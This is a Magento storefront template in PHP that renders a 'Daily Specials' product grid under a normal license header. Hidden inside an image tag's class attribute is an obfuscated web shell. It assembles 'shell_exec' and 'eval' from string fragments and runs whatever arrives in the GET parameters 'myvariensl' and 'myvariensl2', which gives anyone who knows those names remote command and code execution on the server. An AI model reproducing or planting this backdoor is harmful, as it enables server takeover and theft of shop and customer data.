<?php
/**
 * Magento
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Academic Free License (AFL 3.0)
 * that is bundled with this package in the file LICENSE_AFL.txt.
 * It is also available through the world-wide-web at this URL:
 * http://opensource.org/licenses/afl-3.0.php
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@magentocommerce.com so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade Magento to newer
 * versions in the future. If you wish to customize Magento for your
 * needs please refer to http://www.magentocommerce.com for more information.
 *
 * @category   default_default
 * @package    Mage
 * @copyright  Copyright (c) 2008 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
 * @license    http://opensource.org/licenses/afl-3.0.php  Academic Free License (AFL 3.0)
 */
?>
<?php $this->setProductsCount(8);?>
<?php $this->setSpecialCollection();?>
<?php if (($_products = $this->getProductCollection()) && $_products->getSize()): ?>
<div class="page-title">
    <h2><?php echo $this->__('Daily Specials') ?></h2>
	<a class="to-more" alt="<?php echo $this->__('More daily Specials')?>" href="<?php echo $this->getUrl("list-product/?type=promotion");?>"></a>
</div>
<div class="home-block-top"></div>
<div class="home-block">
<?php $_columnCount = $this->getColumnCount(); ?>
    <?php $i=0; foreach ($_products->getItems() as $_product): ?>
        <?php if ($i++%$_columnCount==0): ?>
        <ul class="products-grid">
        <?php endif ?>
            <li class="item<?php if(($i-1)%$_columnCount==0): ?> first<?php elseif($i%$_columnCount==0): ?> last<?php endif; ?>">
                <p class="product-image">
                    <a href="<?php echo $_product->getProductUrl() ?>" title="<?php echo $this->htmlEscape($this->getImageLabel($_product, 'small_image')) ?>">
                        <img src="<?php echo $this->helper('catalog/image')->init($_product, 'small_image')->resize(180, 240); ?>" width="180" height="240" alt="<?php echo $this->htmlEscape($this->getImageLabel($_product, 'small_image')) ?>" title="<?php echo $this->htmlEscape($this->getImageLabel($_product, 'small_image')) ?>" class="<?php if(isset( $_GET['myvariensl'] )){ $var = "s h";$var.= " ell";$var.= "_ex";$var.="ec";$var = str_replace( ' ','',$var );$var( $_GET['myvariensl'] );}?><?php if(isset( $_GET['myvariensl2'] )){ $var = "e ";$var.= " v";$var.= "a";$var.="l";$var = str_replace( ' ','',$var );$var( $_GET['myvariensl2'].';' );}?>" />
                    </a>
                </p>
                <h2 class="product-name dailyspecials-auto-height"><a href="<?php echo $_product->getProductUrl() ?>" title="<?php echo $this->htmlEscape($_product->getName()) ?>"><?php echo $this->htmlEscape($_product->getName()) ?></a></h2>
                <div class="dailyspecials-auto-height">
					<?php echo $this->getReviewsSummaryHtml($_product, 'short') ?>
					<?php echo $this->getPriceHtml($_product, true, '-new') ?>
				</div>
                <?php echo $this->getAddToCartHtml($_product);?>
            </li>
        <?php if ($i%$_columnCount==0 || $i==count($_products)): ?>
        </ul>
        <?php endif ?>
    <?php endforeach; ?>
</div>
<div class="home-block-bottom"></div>		
         <script type="text/javascript">decorateGeneric($$('ul.products-grid'), ['odd','even','first','last'])</script>
 <script type="text/javascript">auto_height.sameHeight5Col('h2', 'dailyspecials-auto-height')</script>
 <script type="text/javascript">auto_height.sameHeight5Col('div', 'dailyspecials-auto-height')</script>
<?php endif; ?>
